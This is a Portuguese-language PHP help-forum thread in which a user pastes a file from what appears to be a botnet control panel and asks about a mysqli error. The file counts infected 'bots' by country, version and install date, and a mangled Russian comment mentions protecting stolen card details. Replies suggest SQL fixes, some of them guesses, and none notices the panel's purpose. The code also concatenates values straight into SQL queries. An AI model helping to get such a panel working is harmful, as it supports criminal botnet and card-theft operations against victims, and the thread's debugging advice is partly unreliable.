Jump to content
Fórum Script Brasil
  • 0

erro no xamp


smaff

Question

agradeso ajudas de totus vc muito obrigrado suas informaçaes foro muito boas mais aida tem uma duvida como resover esse erro

Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in D:\xampp\htdocs\sp0012\Main Access Panel\frm_botsmon_country.php on line 35

message>> ERROR IN SELECTION OF 'COUNTRY_T'

<script type="text/javascript">

function getState(idc) {

var b = document.getElementById('bfc' + idc);

var tr = document.getElementById('tfc' + idc);

var td = document.getElementById('fc' + idc);

if (b && tr && td) {

if (b.src.indexOf('info.png') == -1) {

b.src = 'img/icos/info.png';

td.innerHTML = '';

}

else {

ajax_load('frm_botsmon_state.php?idc=' + idc, 'fc' + idc);

b.src = 'img/icos/info-gray.png';

}

}

}

</script>

<?php

require_once 'mod_dbase.php';

require_once 'mod_bots.php';

require_once 'mod_file.php';

require_once 'bt_update_stuff.php';

$dbase = db_open();

if (!$dbase) exit;

echo "<h2><b>GEO info</b></h2>";

refresh_bot_info($dbase);

$res = mysqli_query($dbase, "SELECT * FROM country t ORDER BY name country");

$cnt = mysqli_num_rows($res);

if ($cnt > 0) {

require_once 'geoip/geoip.inc';

$gi = new GeoIP;

echo "<script type=\"text/javascript\" charset=\"ISO-8859-1\" src=\"js/alarm.js\"></script>";

echo "<script type=\"text/javascript\" charset=\"ISO-8859-1\" src=\"js/list_stuff.js\"></script>";

echo "<table width='740px' border='1' cellspacing='0' cellpadding='0' style='border: 1px solid gray; font-size: 9px; border-collapse: collapse; background-color: white;'>";

echo "<th>Flag</th>";

echo "<th>Country</th>";

echo "<th>Online Bots/<font class='disabled'>Disabled Bots</font> / All Bots</th>";

echo "<th>Detail State</th>";

for ($i = 0; $mres = mysqli_fetch_array($res); $i++) {

$idc = $mres['id_country'];

$res2 = mysqli_query($dbase, "SELECT count(id_bot) FROM bots_t WHERE (fk_city_bot IN (SELECT id_city FROM city_t, country_t WHERE fk_country_city = id_country AND id_country = " . $idc . ")) AND (status_bot <> 'offline')");

$actb_cnt = -1;

if ((@($res2)) && mysqli_num_rows($res2) > 0) {

$mres2 = mysqli_fetch_array($res2);

$actb_cnt = $mres2[0];

}

$res2 = mysqli_query($dbase, "SELECT count(id_bot) FROM bots_t WHERE fk_city_bot IN (SELECT id_city FROM city_t, country_t WHERE fk_country_city = id_country AND id_country = " . $idc . ")");

$allb_cnt = -1;

if ((@($res2)) && mysqli_num_rows($res2) > 0) {

$mres2 = mysqli_fetch_array($res2);

$allb_cnt = $mres2[0];

/* if (!$allb_cnt) {

mysqli_query($dbase, "DELETE FROM city_t WHERE fk_country_city = " . $idc . "");

// Òàáëèöó country_t íàäî îñòàâèòü âïîêîå, à òî ìîæåì ïîòåðåòü ðåêâèçèòû êàðò

//mysqli_query($dbase, "DELETE FROM country_t WHERE id_country = " . $idc . "");

continue;

} */

}

$idc = $idc;

$icfg = parse_ini_file('config.ini');

$wait_before_start = $icfg['WAIT_BEFORE_START'];

if (strlen($wait_before_start) != 19) {

$wait_before_start = '1970-04-01 00:00:00';

writelog('error.log', 'Cannot read WAIT_BEFORE_START from config');

}

$sql = "SELECT count(distinct bots_t.id_bot)"

. " FROM bots_t, bots_rep_t, city_t"

. " WHERE bots_t.id_bot = bots_rep_t.fk_bot_rep"

. " AND bots_t.fk_city_bot = city_t.id_city"

. " AND city_t.fk_country_city = " . $idc

. " AND status_bot <> 'offline'"

. " AND ( bots_rep_t.data_rep like '%sloppy%'"

. " OR UNIX_TIMESTAMP( date_last_run_bot ) >= ( UNIX_TIMESTAMP( now( ) ) - UNIX_TIMESTAMP('" . $wait_before_start . "') )"

. " OR bots_t.blocked = 1"

. " OR bots_t.ver_bot <> " . LAST_VERSION_BOT . " )";

$res2 = mysqli_query($dbase, $sql);

$disb_cnt = 0;

if ((@($res2)) && mysqli_num_rows($res2) > 0) {

$mres2 = mysqli_fetch_array($res2);

$disb_cnt = $mres2[0];

}

$ccode = 'null';

for ($j = 1; $j <= count($gi->GEOIP_COUNTRY_NAMES); $j++) {

if (!strcmp($gi->GEOIP_COUNTRY_NAMES[$j], $mres['name_country'])) {

$ccode = $gi->GEOIP_COUNTRY_CODES[$j];

break;

}

}

if (!$allb_cnt) continue;

echo "<tr align=center' id=\"tid$i\">\n";

echo "<td width='30px'><img border='0' src='img/flags/$ccode.gif'></td>\n";

echo "<td width='200px'>" . $mres['name_country] . "</td>\n";

echo "<td><font style='font-size: 14px;'>($actb_cnt/<font class='disabled'>$disb_cnt</font> / $allb_cnt)</font></td>\n";

echo "<td width='30px'><a href='#null' onclick='getState($idc); return false;'><img id='bfc$idc' src='img/icos/info.png' border='0'></a></td>\n";

echo "</tr>\n";

echo "<tr align='center' id='tfc$idc'>\n";

echo "<td></td><td id='fc$idc' colspan='3'></td>";

echo "</tr>\n";

//if ($actb_cnt - $disb_cnt < 3 && $disb_cnt >= 3 ) {

// echo "<script type=\"text/javascript\">gAlrmElts.push(document.getElementById('tid$i'));</script>";

//}

}

}

else {

echo "<p>message>> ERROR IN SELECTION OF 'COUNTRY_T'";

exit;

}

echo "</table>";

echo "<h2><b>Version info</b></h2>";

echo "<table width='240px' border='1' cellspacing='0' cellpadding='0' style='border: 1px solid gray; font-size: 9px; border-collapse: collapse; background-color: white;'>";

echo "<th>Version</th>";

echo "<th>Count (online / all)</th>";

$res = mysqli_query($dbase, "SELECT distinct ver_bot FROM bots_t ORDER BY ver_bot DESC");

for ($i = 0; $mres = mysqli_fetch_array($res); $i++) {

$ver_bot = $mres['ver_bot'];

$res2 = mysqli_query($dbase, "SELECT count(*) FROM bots_t WHERE ver_bot = $ver_bot");

if (!$res2 || !mysqli_num_rows($res)) continue;

$mres2 = mysqli_fetch_array($res2);

$cnta = $mres2[0];

$res2 = mysqli_query($dbase, "SELECT count(*) FROM bots_t WHERE ver_bot = $ver_bot AND status_bot = 'online'");

if (!$res2 || !mysqli_num_rows($res)) continue;

$mres2 = mysqli_fetch_array($res2);

$cnto = $mres2[0];

if (!$i)

echo "<tr align='center'><td>$ver_bot</td><td>$cnto / $cnta</td></tr>";

else

echo "<tr align='center'><td><font style='color: red;'>$ver_bot</font></td><td>$cnto / $cnta</td></tr>";

}

echo "</table>";

echo "<h2><b>Count of bots for last 5 days</b></h2>";

echo "<table width='240px' border='1' cellspacing='0' cellpadding='0' style='border: 1px solid gray; font-size: 9px; border-collapse: collapse; background-color: white;'>";

echo "<th>Date</th>";

echo "<th>Count (online / all)</th>";

for ($i = -4; $i != 1; $i++) {

$day1 = $i;

if ($day1 < 0)

$date1 = "$day1 day";

else if ($day1 > 0)

$date1 = "+$day1 day";

else

$date1 = "now";

//echo "date1 = '$date1'<br>";

$date1 = strtotime($date1);

$date1 = gmdate('Y.m.d', $date1);

//echo "date1 = '$date1'<br>";

//

$day2 = $i + 1;

if ($day2 < 0)

$date2 = "$day2 day";

else if ($day2 > 0)

$date2 = "+$day2 day";

else

$date2 = "now";

//echo "date2 = '$date2'<br>";

$date2 = strtotime($date2);

$date2 = gmdate('Y.m.d', $date2);

//echo "date2 = '$date2'<br>";

$sql = "SELECT count(*) FROM bots_t WHERE date_install_bot >= '$date1' AND date_install_bot <= '$date2'";

//echo "sql = '$sql'<br>";

$res2 = mysqli_query($dbase, $sql);

if (!$res2 || !mysqli_num_rows($res)) continue;

$mres2 = mysqli_fetch_array($res2);

$cnta = $mres2[0];

$sql = "SELECT count(*) FROM bots_t WHERE date_install_bot >= '$date1' AND date_install_bot <= '$date2' AND status_bot = 'online'";

//echo "sql = '$sql'<br>";

$res2 = mysqli_query($dbase, $sql);

if (!$res2 || !mysqli_num_rows($res)) continue;

$mres2 = mysqli_fetch_array($res2);

$cnto = $mres2[0];

echo "<tr align='center'><td>$date1</td><td>$cnto / $cnta</td></tr>";

}

echo "</table>";

db_close($dbase);

?>

Link to comment
Share on other sites

8 answers to this question

Recommended Posts

  • 0

@ smaff

Amigo! É interessante você sempre dar continuidade ao tópico já aberto, desta forma, fica duplicando. Verifique a linha 35 do arquivo D:\xampp\htdocs\sp0012\Main Access Panel\frm_botsmon_country.php pois deve haver alguma incompatibilidade, pois mysqli_num_rows() não está correto.

Abraços!

Link to comment
Share on other sites

  • 0
mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given

Esse erro se dá porque o que você passou como parâmetro é do tipo boolean. A consulta que você executou está com erro, falta uma vírgula no ORDER BY após o campo 'name', e como a consulta não é executada corretamente é retornado false (boolean) para a variável $res. A consulta deve ser assim (repare na vírgula após o campo name):

$res = mysqli_query($dbase, "SELECT * FROM country t ORDER BY name, country");

Link to comment
Share on other sites

  • 0

Tente assim então para ver se aparece qual o erro:

$res = mysqli_query($dbase, "SELECT * FROM country t ORDER BY name country") or die();
var_dump($dbase->error);
Aproveita e testa a conexão com o banco também... adiciona isso antes de executar a consulta:
var_dump(mysqli_connect_error());

Link to comment
Share on other sites

  • 0

o erro mudo de linha agora foi para a linha 36 que esa

$res = mysqli_query($dbase, "SELECT * FROM country t ORDER BY name country");

$cnt = mysqli_num_rows($res); LINHA 36

if ($cnt > 0) {

require_once 'geoip/geoip.inc';

$gi = new GeoIP;

Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in D:\xampp\htdocs\sp0012\Main Access Panel\frm_botsmon_country.php on line 36

message>> ERROR IN SELECTION OF 'COUNTRY_T'

Edited by smaff
Link to comment
Share on other sites

  • 0

Amigo!

Verifique por favor a seguinte linha:

$res = mysqli_query($dbase, "SELECT * FROM country t ORDER BY name country");
Veja se o "t" na linha confere com alguma tabela, ou se: country é diferente de "t", vou deixar duas formas, uma sem esse "t", e outra com esse "t" separado.
$res = mysqli_query($dbase, "SELECT * FROM country ORDER BY name, country");
$res = mysqli_query($dbase, "SELECT * FROM country, t ORDER BY name, country");

Quando você for selecionar mais de uma tabela ou campos, vocês tem que separá-los com ( , )vírgula, dê uma estudada no manual do PHP, são erros simples, que podem ser evitados tendo paciência e vontade de aprender.

Forte abraço!!!

Edited by zebra2011
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Forum Statistics

    • Total Topics
      152.2k
    • Total Posts
      652k
×
×
  • Create New...